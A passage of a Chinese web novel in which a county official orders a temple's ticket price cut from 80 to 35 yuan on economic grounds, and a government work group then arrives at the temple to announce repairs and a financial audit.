“景区讲解、票务、安保、保洁、绿化维护……这些一线服务岗位,靠那点拨款根本养不起,全靠门票和旅游相关的经营收入在支撑。”
“清凉寺作为我们县最重要的宗教旅游景点,是我们即将成立的文旅局重要的‘钱袋子’之一。”
林方政越说越觉得理直气壮:“您想想,除了按规定比例上交国
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库的部分,剩下的钱,要维持这么大一个摊子的日常运转:水电费、设备维护更新、人员工资社保,特别是非在编人员的办公经费、宣传营销费用……哪一项不要钱?”
“合同工、临时工加起来上百号人,平均月薪加社保也要两千七八,一个月就是几十万的开销!”
“这还没算一些应急的维修、活动的组织费用。清凉寺门票收入是我们预算里非常重要的一块拼图。”
“维持80元,已经是经过成本核算、市场调研后相对‘合理’的价格了。”
“再降,局里的运转真的会捉襟见肘,服务质量也难保证。”
办公室里陷入短暂的沉默。
江昭宁没有立刻反驳林方政,他缓缓站起身,再次走到窗边,望着远处的清凉山。
林方政的理由很现实,很具体,甚至可以说代表了一个庞大机构最真实的生存逻辑。
钱,确实是绕不过去的坎。
良久,江昭宁转过身,脸上没有明显的情绪,但眼神却异常深邃,仿佛穿透了眼前的现实,看到了更远的地方。
他开口,声音不高,却像投入平静湖面的石子,在林方政心中激起层层涟漪:“方政同志,你说的这些困难,我都理解。”
“当家难,柴米油盐酱醋茶,哪一样不要钱?”
“机构要运转,人员要吃饭,这是现实。”
“我们做工作,不能脱离现实。”他话锋一转,语气陡然变得沉重而富有力量,“但是,我们是不是也忘了点什么?”
“忘了我们为什么要把这座寺庙从破败中抢救回来?”
“仅仅是为了让它成为一个更光鲜亮丽的‘钱袋子’吗?”
他踱回办公桌前,没有坐下,居高临下地看着林方政,目光灼灼:“清凉寺,是文化遗产,是古迹,这没错。”
“但它更重要的身份,也是普罗大众的旅游胜地!”
“我们修缮它,最根本的目的,是让这座承载了千年信仰的古刹重新焕发生机。”
“是让信众,让普通游客能够近距离感受我们传统文化的厚重,而不是把它变成一座拦着高门槛、只认钱不认人的‘景点’!”
第199章 门票必须要降
江昭宁的声音带着一种穿透人心的力量:“80块钱!对有钱人来来说,可能不及一餐饭钱的零头。”
“但对于清凉山脚下那些靠着几亩薄田、几棵果树生活的农民呢?”
“对于那些从更偏远地方,省吃俭用攒下路费的信徒呢?”
“这道门槛,会不会太高了?”
“高到把真正需要它的人,挡在了外面?”
“高到让佛祖菩萨的金身,只能隔着高价门票,冷冷地看着那些能够轻松跨过门槛的游客?”
他停顿了一下,似乎在平复情绪,也似乎在给林方政思考的时间。
“你说要分成,要养人,要开销,这些我都认。”
“但办法总比困难多!”
“开源节流,优化管理,争取更多专项资金支持,甚至探索其他可持续的运营模式。”
“比如限定高票价时段、增加公益性免费开放日、开发深度文化体验项目创收……这些都是可以研究的方向。”
“我们不能简单地把所有运营压力,都转嫁到那道小小的门票上,更不能让这道门槛,寒了老百姓的心,背离了我们修缮它的初心!”
江昭宁的目光紧紧锁住林方政,问出了一个直指灵魂的问题:“林局,我们花大力气修缮寺庙,是为了让它更亲民,更开放,更好地服务于民,还是为了筑起一道更高的墙,让清净佛门之地,也变得铜臭熏天?”
“这道门槛,定多高,不仅关乎钱,更关乎人心,关乎我们政府的形象和温度!”
最后这句话,带着一丝深沉的叹息,重重地落在了林方政的心上。
他看着江昭宁深邃而忧虑的目光。
第一次如此清晰地感受到,自己肩上担子的分量,远不止是完成一项工程那么简单。
清凉寺的门槛,该如何定?
这确实是一个需要反复权衡、深刻反思的问题。
“**,我……”沉默了半晌的林方政说话了,只是他的声音像被砂纸磨过,干涩暗哑。
他又吸一口气,勉强挤出笑容,试图以行政逻辑铸成防线:“工资要发,社保要缴,办公场地租金水电,日常活动经费…”
“**,这不是一锤子买卖,是一个庞大、复杂、每天一睁眼就要不断支出运转的机构!”
“每降一块钱门票,意味着全年就要少掉多少的进项,这个窟窿,怎么填?拿什么去填平?”他语无伦次,声音抖得不成调子,像是在寒风中断裂的枯枝。
“庙修得再漂亮,总不能让靠这门票吃饭的员工先饿着肚子吧?稳定是第一位的,您三令五申过的!”
他的话越说越快,如同崩塌堤岸后汹涌泻出的激流。
他终于抬起眼,迎上江昭宁的目光,带着三分申辩七分被误解的委屈。
江昭宁抬起头,目光越过林方政剧烈颤抖的肩头。
他的声音重新变得低沉、冷静,带着金属锻造后的冷硬质感,每一个字都像是冰冷的钢印,清晰、沉重地砸在空旷寂静的办公室中央:
“方政,我们的初心是什么?”
这称呼,不再是冰冷的“林局”,剥去了行政的外壳。
“门票…必须要降。”
他的目光灼灼地盯着地图上那个小小的、标记着清凉寺的图标,像焊**目标:“清凉寺是千年文化积淀下来,该让万民能轻易接触的根基!”
他的声音不高,却层层递进,蕴含着不容置疑的决心,“用80块钱就把人拦在外面?”
他的语气猛地一沉,带着锋利无比的切割感,“那我们是什么?”
“这道门,”他停顿了极其短暂的一瞬,积蓄的力量如山洪暴发前的静默,“这道门槛,砸了!也必须砸!”
最后一个“砸”字,如同金属重锤,狠狠撞击在死寂的空气里,余音在厚重的墙壁间嗡嗡回荡。
林方政猛地闭上眼睛,身体重重摇晃了一下,像是失去了最后支撑的力量,差点摔倒,本能地伸手死死抓住了冰凉光滑的红木桌沿。
指尖传来的坚硬触感和绝望冰冷的寒意,让他绝望地喘不过气来。
“可是……”他用尽全身力气试图找到最后一块浮木,声音嘶哑得像破旧的风箱,“降多少?”
“风险…稳定风险…还有庙里那帮…”他语无伦次,额头上是细密的冷汗。
江昭宁的身体微微后靠。
他深邃的目光锐利如针,穿透林方政强撑起的残破防线,无声地刺入他的眼底深处。
“降多少?”声音恢复了绝对的平静,像海啸过后的海面,底下是更令人心悸的冷渊,“原来的门票是多少?”
林方政像被抽走了骨头,只从喉咙深处挤出一声绝望而浑浊
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的喘息:“3……35元…”
“就照此执行!35元!”江昭宁的声音斩钉截铁,像一柄寒光闪闪的铡刀落下,瞬间截断了任何企图缠绕的藤蔓。
江昭宁那番关于“门槛”与“初心”的沉痛叩问,像一块巨石投入林方政的心湖,激起的不仅是涟漪,更是汹涌的波涛。
他并非不懂民生疾苦,只是坐在这个位置上,被机构运转的庞大惯性、被预算报表上冰冷的赤字、被各方伸手要钱的现实压力层层包裹,视野和思维难免被局限在“如何搞到更多钱”这个单一维度上。
林方政脸上难以掩饰的沮丧和深思,**昭宁敏锐地捕捉到了。
江昭宁知道仅仅指出问题是不够的,必须给这位陷入思维困境的下属指明一条可行的、甚至是更具战略眼光的光明大道。
“方政同志,”江昭宁的声音恢复了沉稳,带着一种循循善诱的智者风范,“我知道你肩上担子重,顾虑多。”
“但做决策,不能只盯着眼前的‘一亩三分地’,更不能被暂时的困难捆住手脚。”
“我们得跳出文旅局这个小圈子,站在整个东山发展的大棋盘上来思考问题。”
他微微前倾身体,抛出了一个看似与眼前寺庙门票毫不相干,实则直指核心经济规律的问题:“自由贸易的理论,你肯定清楚吧?”
林方政被这突如其来的转向问得一愣。
他随即谨慎地点头:“懂点儿!大学学过经济学原理,亚当·斯密、大卫·李嘉图那些经典理论。”
“好!”江昭宁眼中闪过一丝赞许,“那我们不妨用历史的镜子照一照现实。”
“17世纪,英国、西班牙、荷兰这些海上强国为什么争得你死我活?”
“表面看是争夺殖民地、争夺金银财宝,是赤裸裸的武力扩张和海上霸权争夺。”
“但深层次看,他们争的是什么?”
“争的是贸易路线!争的是市场垄断权!”
“西班牙靠着美洲白银建立了庞大的帝国,荷兰靠着东印度公司垄断了香料贸易。”
“他们都奉行重商主义,筑起高高的贸易壁垒,恨不得把全世界的钱都装进自己的口袋。”
他停顿了一下,让林方政消化这个历史背景,然后话锋陡然一转:“结果呢?”
第200章 值不值?!
“这种保护主义和垄断,短期内或许能攫取暴利。”
“但长期看,它窒息了竞争,阻碍了生产要素的自由流动,最终限制了整个国家经济的活力!”
“直到亚当·斯密在《国富论》里振聋发聩地提出自由贸易理论——打破关税壁垒,取消特许垄断,让商品、资本、劳动力更自由地流动!”
“英国率先拥抱了这一思想,虽然过程也有反复。”
“但最终,正是这种相对开放的自由贸易体系,极大地释放了其工业**的潜能,让英国的产品行销全球,最终成就了‘日不落帝国’的赫赫威名!”
“从此,‘日不落帝国’的辉光,第一次真正意义上笼罩了地球上的大部分陆地,它催生工业**的轰鸣,推动钢铁与机械的巨轮碾过了旧时代的余烬。”
“那扇打破壁垒的大门,不是洞开在别人的海岸线上,是首先由自己内部决绝地砸开!”
江昭宁的声音带着历史的回响,充满了说服力:“历史告诉我们,固守高墙、垄断自肥,看似安全稳妥,实则是在慢性**,终将被时代抛弃。”
“而敢于打破壁垒,拥抱开放竞争,虽然初期可能面临冲击,却能在更广阔的天地里赢得更大的发展空间,激发更强大的内生动力!”
林方政听着,眼神逐渐亮了起来,他似乎捕捉到了江昭宁话语中那根若隐若现的逻辑线。
他试探性地问:“江**,您的意思是……我们这清凉寺的80元门票,就像是当年西班牙、荷兰筑起的贸易壁垒?”
“而我们,应该效仿英国,做打破壁垒的‘亚当·斯密’?”
“对!正是此意!”江昭宁用力一拍沙发扶手,脸上露出欣慰的笑容,“你悟性很高嘛!”
他站起身,走到办公室墙上悬挂的东山行政区划图前,手指有力地指向清凉山的位置。
“我们整个省,名刹古寺众多。”
“隔壁市县的天峰寺、普济寺、大佛寺,哪个不是香火鼎盛?”
“但它们的门票,动辄六七十,甚至上百元!”
“它们就像一个个封闭的‘贸易堡垒’,把许多潜在的游客、尤其是中低收入群体和短途游的散客,挡在了门外,或者让他们只能‘择一而游’。”
“如果我们清凉寺,在这次焕然一新之后,反其道而行之,主动打破这个高价的‘垄断联盟’,将门票价格——大幅降到35元!”
“听我算一笔大账!”江昭宁的目光炯炯有神,闪烁着战略家的光芒,“35元,意味着什么?”
“意味着清凉寺的门票价格只有周边主要竞争对手的一半甚至更低!”
“这会产生什么样的效果?”
“经济学上这叫‘价格洼地’效应!”
“它会形成强大的‘虹吸现象’!”
他踱着步,语速加快,描绘着一幅生动的图景:“那些原本犹豫去哪个寺庙的游客,会因为清凉寺超低的价格而心动!”
“你想想看,那些原本犹豫着周末是去天峰寺、普济寺还是大佛寺的游人、香客,当他们发现只要驱车多开半小时,就能省下几十块钱,走进一座同样恢弘、历史更加悠久、甚至传说更有灵性的千年古刹!他们会怎么选?!”
江昭宁猛地转向林方政,灼灼目光几乎要将他的灵魂点燃,“清凉寺的人流量,将会迎来一个**式的增长!”
“这绝不是80元高门槛下那点‘高端’游客能比的!”
“光有低价还不够!”江昭宁话锋再转,指向宣传维度,“我们还要主动出击,把‘大美东山’的名片擦得更亮!”
“文旅局要立刻策划一系列重磅的‘印象东山’主题宣传活动!”
“投入资源,在省内乃至全国有影响力的媒体平台、旅游门户、短视频平台进行饱和式轰炸!宣传什么?”
他自问自答,条理清晰:
“第一,宣传清凉寺千年古刹的深厚底蕴!重点突出这次‘修旧如旧’的高规格修缮成果,强调其作为省级重点文物的历史文化价值!”
“让‘焕然一新、古韵犹存’成为清凉寺的新标签!”
“第二,捆绑宣传!不要单打独斗。”
“清凉寺附近有什么?有千年古村,有奇峰怪石,有省级非遗展示点,还有极具象征意义的莲湖湾‘进士坊’!”
“把这些资源整合起来,打包宣传!”
“告诉游客,来清凉寺,花35元,你不仅能拜千年古刹,还能感受古村风貌,领略自然奇观,触摸非遗文化,在
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进士坊下祈愿学业有成!”
“这是一个东山‘一日游’甚至‘两日游’的完美目的地!”
“‘千年古刹探幽,进士福地祈福,奇山秀水揽胜’——这个口号怎么样?”
江昭宁越说越兴奋,仿佛已经看到了人潮涌动的景象:“当我们的宣传铺天盖地,当清凉寺35元的超低门票成为吸引眼球的爆点,当‘大美东山’的多元魅力被充分展示,你想想,会产生多大的吸引力?”
“然后呢?”江昭宁的声音猛地顿挫,如同乐章最强音后的短暂休止,制造出致命的悬停。
他猛地看向林方政那双已经跟不上思考节奏、几乎只剩下空白惊愕的眼睛:“然后当这些被撩拨得心痒难耐的人满怀期待踏进这道门槛,”他指节有力地叩击着地图上山门的位置,“等待着他们的,是什么?”
林方政已经完全失去了言语的能力,如同置身于风暴中心的一叶扁舟,只能被动地承受着滔天巨浪的冲击与塑造。
“是35元门票之后,佛殿里飘出的、免费的干净卫生的素斋体验!”
“一碗素面,几样清爽小菜,体现的是佛家的慈悲与待客之道。”
“热腾腾素餐!”江昭宁的声音陡然变得醇厚而充满磁性,如同带着热汤的香气,“让他们花了最少的钱,填饱了肚子,还暖了心!”
“山后禅田,农禅并举!”
“划出专门的地块,欢迎游人下田,亲手感受一下播种的虔敬、劳作的汗水、收获的禅悦!”
“体验一种真正的生命融入!”
“临别时,”他的语速放慢,每一个细节都如同精心雕琢的暖玉,“僧人合十,微笑着奉上寺里自种自收炒制的本地特产花生,或者几块散发着浓浓豆香的、干净纯粹的豆腐干……”
“用这点微末却滚烫的心意,把清凉寺、把东山,暖暖地塞进他们归途的行囊!”
他的目光灼灼,盯着林方政,“你告诉我,只付了35块钱!香,烧了免费的;景,看了最壮美的;饭,吃了最清心养生的;田,种了最有意义的;临走还有一份心意沉甸甸地带走!”
“礼轻情意重,传递的是东山人的好客与清凉寺的祝福。”
“这所有的一切加起来,值不值?!”
第201章 虹吸效应
“值!太值了!”林方政情不自禁道。
江昭宁目光灼灼地盯着林方政:“林局,你告诉我,只花了35元,这种综合体验感,在周边同类型景区里,你还能找到第二家吗?”
他有力地挥动手臂:“他们回去后会怎么宣传?”
“在朋友圈里晒照片,在抖音上发视频,在亲朋好友间口口相传!”
“他们会怎么说?‘东山清凉寺太良心了!35块玩一天,包吃包玩还送礼物!’”
“‘没想到千年古刹这么亲民,素斋好吃,小师父还教我们种菜,孩子开心坏了!’”
“‘下次还要带爸妈来!’……这种发自内心的、基于真实体验的口碑传播,其威力和可信度,远超我们投入千万的广告!”
“它会像滚雪球一样,吸引本省、邻省,甚至更远地方的游客慕名而来!形成持续的、强大的客流‘虹吸效应’!”
江昭宁的声音陡然拔高,抛出了最核心的问题:“那么,林局!请你告诉我,当清凉寺乃至整个东山,因为这一举措而迎来川流不息、摩肩接踵的游客洪流时,这会给东山带来什么?”
“是那区区80元一张门票、一年撑死几十万游客所带来的那点蝇头小利能比拟的吗?”
他不再给林方政思考的时间,连珠炮般地抛出答案,每一个问题都像重锤敲在现实的铁砧上:“这汹涌的人流,首先带动的,是不是东山‘第三产业’的井喷式发展?”
“——清凉山脚下、东山市区的餐馆、小吃摊、农家乐,会不会雨后春笋般冒出来?”
“生意会不会火爆到需要排队?”
“——各种档次的宾馆、民宿、家庭旅馆,会不会一房难求?投资建设热情会不会空前高涨?”
“——旅游纪念品商店、特色农产品摊位、本地手工艺品作坊,会不会生意兴隆?”
“——交通如出租车、短途巴士、导游服务、摄影服务、甚至停车场的需求,会不会急剧膨胀?”
“——围绕着清凉寺和‘进士坊’等核心吸引物,会不会催生研学旅行、国学体验、禅修养生等更高端的文旅新业态?”
“这每一项产业的兴起,”江昭宁目光如炬,“能解决多少人的就业问题?”
“我保守估计,直接和间接带动的就业岗位,短期内就能增加数千个!”
“这数千个岗位背后,是数千个家庭的生计得到改善!”
“这比你文旅局养着的那百号合同工、临时工,意义是否更加深远?”
“其次!”他继续推进,“游客来了,要吃饭、要住宿、要购物、要交通、要娱乐!”
“这些消费,会产生多少营业额?”
“这些营业额,会为东山市的财政贡献多少税收?”
“餐饮住宿的营业税、增值税,旅游服务的所得税,商业零售的各类税收……林局,这笔账,你算过吗?”
“我敢断言,仅旅游相关产业带来的税收增量,就足以轻松覆盖你降低门票造成的所谓‘损失’,并且远远超出!”
“这还只是直接的!”
江昭宁的思维已经进入了更宏大的层面:“旅游是窗口产业,是流量入口!”
“大量游客涌入,对东山整体城市形象是巨大的提升!”
“会吸引更多人来考察、投资、兴业!会带动本地农产品的品牌化和外销!”
“会刺激本地商业的繁荣和升级!”
“这些间接带来的经济效益和财政收入增长,更是难以估量!”
“一个充满活力、游客如织的东山,和一个守着高门票冷冷清清的东山,哪个更能吸引投资?”
“哪个更能提升土地价值?哪个更能为财政开源?”
他直视着有些目瞪口呆的林方政,语气斩钉截铁:“政府有钱了!财政盘子做大了!是不是对你们文旅局这样直接创造价值的部门,支持力度会更大?”
“专项拨款是不是会更多?”
“你们上交国库的那点门票分成,是国库看得上的?还是会加倍地、十倍地通过转移支付返还回来?!”
“市里县里看到你们引爆了这么大的经济活力,返还比例提高、甚至额外奖励,是不是顺理成章?”
“大河有水了,小河还愁不满吗?”
“林局,这笔宏观的、战略性的经济账,你不会算?还是不敢算?”
江昭宁走到窗边,声音带着一
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种俯瞰全局的自信与豪迈:“我甚至敢做一个大胆的预估!”
“如果我们这套‘低价引流、体验增值、全域联动’的组合拳打好了,把东山真正打造成一个以清凉寺为核心吸引物、辐射全域的特色旅游目的地,那么,在未来三到五年内,旅游业完全有可能成为东山经济的支柱产业之一!”
“由此带动的县域经济转型升级,产生的GDP增量,增加三成,恐怕还不止!这,才叫‘四两拨千斤’!这,才叫‘不谋全局者,不足谋一域’!”
他转过身,目光重新落在林方政身上,那目光中充满了期待与不容置疑的决心:“降低门票,看似损失了眼前的小利,实则是打开了一扇通往繁荣的大门!”
“是用清凉寺这个‘点’,撬动整个东山旅游经济乃至整体发展的‘面’!这步棋,是战略之举,是破局之策!”
“林方政同志,你,明白了没有?”
江昭宁这一番纵横捭阖、引经据典、逻辑严密、气势磅礴的战略推演,如同醍醐灌顶,彻底冲垮了林方政心中那堵由“经费困难”筑起的高墙。
他看到的再也不是捉襟见肘的预算表,而是一幅波澜壮阔的画卷——人潮涌动的清凉寺、繁忙兴盛的旅游产业链、蒸蒸日上的东山经济、百姓脸上满足的笑容……
巨大的震撼和豁然开朗的兴奋感交织在一起,让他心潮澎湃。
他深吸一口气,挺直腰板,声音洪亮而清晰地回答:“江**!我明白了!彻底明白了!”
“您站得高,看得远!”
“这笔大账,算得清,更算得值!我坚决执行您的指示!”
“立即重新核算,将清凉寺门票价格定为35元!”
“同时,马上启动‘印象东山’全域旅游整合营销方案,确保把这场‘低价引流、引爆全局’的战役,打好,打漂亮!”
江昭宁看着眼前这位被点燃了斗志的下属,脸上露出了满意的、深沉的微笑。
他知道,清凉寺那道无形的门槛,终于要被真正打破了。
而东山的经济发展,或许将由此翻开崭新的一页。
办公室内,战略的火花已经点燃,只待燎原。
第202章 山寺门闭合
翌日破晓时分,熹微的晨光艰难地撕开沉甸甸的天幕。
苍蓝色的凉意,浓得化不开,严严实实地裹着古老砖石结构的清凉寺。
整座寺庙像是刚从冰冷的深潭里捞出来,湿漉漉地滴着凝滞的寒意。
山下蜿蜒的马路,却突兀响起一阵引擎声。
几辆印有“省古建三队”皮卡和一辆印有“政府公务用车”字样的黑色小车,碾过湿滑泥泞的道路,粗暴地撕裂了清晨的岑寂,卷起一路浑浊的泥点。
沉重的刹车声“嘎——”的一声尖叫,稳稳停在山门外那偌大的空地上。
车门相继砰然洞开,率先跳下的是谷庄。
他深灰色的夹克平整得近乎刻板,仿佛自带一圈隐形的气墙,步伐稳定却也沉重。
林方政,紧随其后,手中紧紧攥着个棕色公文包。
随后下车的是鄂建设。
穿着深蓝工装的省古建三队施工队也纷纷跳下皮卡车。
他们约莫二十来人,肤色黝黑,工服上蹭着洗不掉的涂料和灰浆痕迹,沉默地搬运着撬棍、卷尺和探测仪器。
铁器触碰的声音在静谧里发出刺耳的回响,如同金属交击的低吼。
原本每日清晨准时开启的朱红山门,此刻却紧紧闭合。
两扇厚重的木门似亘古便镶嵌在这里,隔绝内外。
取代了往昔喧嚣的,只有一片令人心悸的死寂。
风低低刮过空荡荡的山门,卷起几片枯叶,簌簌轻响,仿佛在为昨日的繁华发出叹息。
谷庄面无表情,朝林方政微微颔首。
林方政跨前一步,举起手掌,不紧不慢地拍了拍那斑驳朱漆包裹的木门门环。
“哐、哐、哐”,这声音在死寂里突兀地炸开,激起闷闷的回响。
门内传出轻微的脚步声和锁链碰撞的叮当声。
“吱呀”一声,沉重的山门向内拉开了一条缝。
一张略带几分苍老却异常精明的脸出现在门后,那是清凉寺的监院东妙法师。
早已接到通知的他身披一件半新不旧的海青,浆洗得有些发硬,脸上挂着恰到好处的笑意,双手合十。“阿弥陀佛,各位施主辛苦。”
东妙目光不着痕迹地掠过工作组和那群沉默伫立的工人,最终停留在谷庄脸上。
宗教局是打交道最多的政府部门,他自然是熟悉局长的。
“谷局长,您也亲自来了?”他有些意外。
东妙法师身后的院子里,空空荡荡,只有微凉的晨风来回逡巡。
“是的,东妙法师,叨扰了。”
“为了公事,不得不早早登门。”谷庄语气平淡,听不出波澜,话头一转,“庙外,倒是清净得很呐。”
东妙的脸上依旧堆着笑:“佛门本是清净地嘛。”
山寺门外这片平地,曾是挤破头的土特产市集,每日吆喝如鼓如雷。
此刻,却只剩下一片狼狈的残迹。
倾倒的木架、破洞的帆布顶棚被遗弃在地上,沾满昨夜积攒的冰凉泥水。
纸屑、印着佛祖的劣质包装盒泡在泥汤里,颜色模糊不堪。
几根断掉的竹签插在污泥中,上面裹着干瘪发黑、不知是何物的残渣,如同祭奠香火的残香。
就连小商贩日常埋锅造饭的简易炉灶也被翻倒在地,乌黑的炭块散落四处,一块印着“转运”字样的灰白色破布,半死不活地飘在泥水里。
这片狼藉仿佛一夜之间凭空而来,又在匆忙逃离时被彻底遗弃,无声诉说着被强制驱离时的混乱。
工作组一行鱼贯而入。
谷庄第一个踏入,脚下小心翼翼地避开石板路上的青苔。
就在踏入山门的一刹那,他那双锐利的眼睛如探照灯般疾速扫过前院每一个角落。
他清晰地捕捉到空气中一丝细微的骚动——侧方一排禅房的格栅纸窗后,分明有几道阴影迅速闪退,如同受惊的林鸟缩回了巢穴深处。
纸窗轻轻晃动着,仿佛仍残留着消失之前的震颤。
大门在他们身后沉重地合拢。
门轴干涩的呻吟在异常死寂的院子里拖得悠长而刺耳,咿呀——山寺门闭合带来的闷响彻底消失了。
取而代之的,是一种前所未有的空茫。
那种空,并非山野禅林应有的自然宁和。
往日晨钟后的鼎沸,此刻荡然无存。
没有了香客摩肩接踵的嘈杂脚步声,没有了高低错落、带着各地方言口音的嗡嗡祈祷声。
没有了大殿前那三只几乎要被零钱填破肚皮的功德箱前、硬币和纸币雨点般落下的叮叮当当声。
没有了手机扫二维码的人……
更没有了推销香的僧侣。
这些构成寺庙日常底色的嘈杂被连根拔除。
没有知客僧特有的那种殷勤中带着几分油滑的“施主请这边”、“这边请”、“随喜功德”的招呼
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声。
没有了殿角檐廊下、几个穿着僧袍、手腕上缠着好几串不同尺寸佛珠的和尚,对着人群、尤其是对着那些衣着讲究的女香客,不厌其烦地推销。
“开光十八籽,辟邪保平安!”
“师父加持过的乌木手串,戴了顺风顺水!”
“新到的《金刚经》,附法师念诵原声CD一份!”
……这些原本如背景噪音般无处不在的商业叫卖,此刻像被一只无形巨手掐断了源头。
更诡异的,是那无处不在的“色彩”——那些曾堂而皇之悬挂在大雄宝殿侧面斋堂外的晾衣竿上,或是在僧寮间低矮小院随意飘摇着的五颜六色的女性内衣:粉的、紫的、肉色的、带蕾丝花边的、棉质的……
它们曾像一面面不合时宜的旗帜,在清风中招摇,向每一位踏入此地的访客无声宣告着庙宇深处某些不为人知的隐秘。
此刻,晾衣竿上空空荡荡,干净得不见一丝尘灰。
通往僧寮区的侧院小门紧闭着,门板纹丝不动,只留着几条缝隙,像紧闭的眼睑,不透一丝内情。
一阵风打着旋卷起地上的几片落叶,刮过石板地,发出沙沙的轻响,在这过度死寂的院落里,竟显得格外清晰、格外突兀,甚至带着一丝警告的意味。
寺里原有的鸟鸣消失了。
那是一种近乎窒息的真空,一种刻意制造出来的、“安全”得令人毛骨悚然的表象。
东妙引导众人穿越空旷得让人不适的前殿广场。
大殿正门口,原本镶嵌在水泥基座上的三只厚重铁皮功德箱被整个挖走了。
只留下三个参差不齐、方方正正的凹坑,新鲜的泥土从断裂的水泥边沿暴露出来,散落在四周。
基座旁还静静躺着一把孤零零的扳手,扳手边缘附着未干的土屑,显然被人遗落在此处。
殿廊柱子下散落着几张崭新的招贴——“为天王殿修缮捐资,功德无量”、“重塑金身,广种福田”,油墨味尚未散尽,此刻却被无情地踩进尘埃。
几个穿着旧僧衣的老僧沿着回廊低头匆匆走过,步履僵硬如木偶,不敢与任何人对视。
其中一个身体单薄,僧袍显得有些空荡的年轻和尚,无意间瞥见谷庄直直投来的目光。
瞬间像被滚油烫到,头猛地一埋。
加快脚步几乎是小跑着钻进了僧寮区的月洞门,背影仓惶一闪就消失了。
第203章 僧众大会
东妙脸上始终挂着的职业性笑容,此刻仿佛一张精心维持的假面,几乎要在这令人不安的寂静和外来者无声的压力下崩裂。
“谷局,天气寒凉,不如先到斋堂暂歇?茶点已备下。”声音里的刻意镇定,像是一层薄脆的冰壳。
“不必麻烦。烦请监院先召集全体僧众到前院,”谷庄打断了他,语气不容置疑,“事情早点说清楚,工作早点铺开,省得大家各自揣度,徒增烦恼。”
东妙喉咙里似乎滚动了一下,最终恭敬垂首:“是。”
他随即转向一位一直无声跟在队伍最后、面色紧绷的精瘦中年知客僧,嗓音微微发颤:“心明,去,敲钟,召集所有人……一刻钟之内,必须都到。”
被称为心明的知客僧面无表情地应了一声,转身疾步离去。
片刻后,一声接一声沉重的、仿佛缺乏气力敲击的铜钟声,迟疑地在整个寺院的空寂中荡开,显得格外空洞。
这往日召唤信众、庄严法器的鸣响,此刻更像是在为一个异常处境拉开帷幕。
沉闷而迟缓的钟声,一声声钻入耳朵,重重敲在心上。
工作组的成员们站在空旷的院落中央,沉默地等待着。
谷庄负手而立,目光直视前方大殿巍峨却空荡的大门。
鄂建设悄悄揉了揉眉心。
林方政则微侧着头,视线如同扫描仪,细致地掠过每一扇紧闭的禅房窗格、每一条可能藏匿着窥视目光的回廊角落。
施工队的工人们垂手肃立在一旁,偶尔有细微的咳嗽声被刻意压抑下去。
渐渐地,人影开始从各个角落谨慎地冒出来。
先是回廊、僧寮、偏殿,稀稀落落,如同受惊的鼹鼠被驱赶出洞。
他们的脚步带着迟疑,甚至蹒跚,在巨大的空寂里,反而衬得步履声格外清晰。
人数粗粗看去,起码有二三百人之多。
其中前面大多是脸上沟壑纵横、须眉皆白的老僧,或是形容枯槁、仿佛风一吹就倒的病弱僧人。
他们大多穿着打了补丁的旧海青,袖口和领边被磨得发亮发白。
眼神浑浊,带着常年山居的古拙和此刻明显的局促不安,远远地**在殿前台阶下,互相依偎着,不敢发出一点多余的声音。
年轻力壮的僧**多站在人群最后面。
他们或面无表情、眼帘低垂,或眼神戒备地在工作组身上来回逡巡,如同林中警惕的幼鹿。
东妙站在前排,脸色晦暗不明,偶尔回头低声呵斥一句,维持着僧人队伍那勉强拼凑起来的队形。
空气中弥漫着一股陈年香烛和灰尘交织的陈旧气味,更因这异常的**和无处不在的压抑氛围而变得浑浊不堪。
风突然变得有点猛,带着刺骨的湿寒,刮过空荡的前庭,卷起角落的几片落叶。
打在青石板上发出“哗啦”的噪音,在这令人窒息的安静中突兀得如同一记耳光。
“开始吧。”谷庄的声音不高,却异常清晰地穿透了风声和令人不安的静谧,带着不容置疑的穿透力。
他向前稳稳踏出一步。
林方政默契地递上一个老旧的黑色扩音喇叭。
谷庄按下开关,一阵尖锐的电流啸叫声瞬间划破凝滞的空气,不少老僧下意识地缩了缩脖子。
他皱了皱眉,用手指在喇叭上用力磕了几下,那刺耳的噪音才不情不愿地平息。
“各位僧侣师傅!”谷庄开口,他的声音经过喇叭的过滤显得有些失真,却更添一种公事公办的金属质感。
他的目光缓缓扫过台阶下那一片土灰色、惊惧不安的面孔。
“我叫谷庄,宗教局局长。”
他顿了顿,语气平直,“这位是鄂建设同志,原文化局长。”
鄂建设微微欠身示意,脸上挂着和缓却不失距离的微笑。
“这位是林方政同志,原旅游局长!”
林方政只是极轻微地点了一下头。
他的目光却如同聚光灯,牢牢锁在后方几个年轻僧人略显僵硬的脸部肌肉上。
“我们受县委县政府委派,组成临时工作组,进驻清凉寺,由我任组长,协调修缮审计各方面事宜,林局、鄂局任副组长。”
然后他又约略介绍了一下五名组员。
当然站在他身后不远的两人就没有介绍了,其实也无需介绍,因为他们身着警服。
谷庄介绍时,东妙脸上挤出一丝极不自然的、像是脸皮抽动的笑意。
他心中有些惊骇,这工作组一下子来了三个局长,这规格不是一般地高呀。
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>风打着旋卷过,吹动谷庄夹克的下摆。
东妙脸上的僵硬笑容似乎在这冷风里凝固、开裂。
谷庄的目光重新投向众僧。
如扫描仪般缓缓扫过下方一张张或木然、或低垂、或隐现不安的面孔。
“工作组此行,主要有两个明确的任务,”他的话清晰地在风中传播,“第一,是寺庙修缮。”
他抬手朝施工队的方向指了一下,“各位想必也清楚,清凉寺有些庙宇年久失修,部分梁柱、椽条甚至墙体存在肉眼可见的破损、腐朽,尤其几处檐角承重柱,已经有明显的倾塌风险!这绝非危言耸听。”
“一旦发生垮塌,无论伤到寺里的僧人,还是万一有滞留的香客,都是无法挽回的重大安全事故!”
“这个责任,谁能承担?谁敢承担?”谷庄的声音陡然拔高,带着某种严厉的质问,在喇叭里激起嗡嗡的回响,台阶下几个老僧被惊得身形晃了一晃。
他随即缓了语气,但其中的分量丝毫未减:“所以,政府决定紧急拨款,由省建工集团古建三队负责,对寺庙存在危险的地段进行彻底、及时的维修加固!”
“这钱,是政府财政,是为了大家的安全!”
“不要寺庙负担分文。”
风好像安静了一瞬,只剩下谷庄话语的余韵在砖木结构的空间里回荡。
“第二,”谷庄的语调转入一种更平稳、更程式化的轨道,“是进行一次常规审计。”
“这也同样是县里、乃至省里的明确要求。”他从林方政手中接过两份薄薄的**,将其封面高高举起,好让台阶下的人能看到那醒目的红戳。
“这是省里下发的《关于进一步规范和加强宗教活动场所财务监督管理的指导意见》!”谷庄的声音再次加重,“这份文件明确授权、也责成我们宗教事务管理部门,必须定期对宗教活动场所的财务管理进行必要的监督、检查!和审计!”
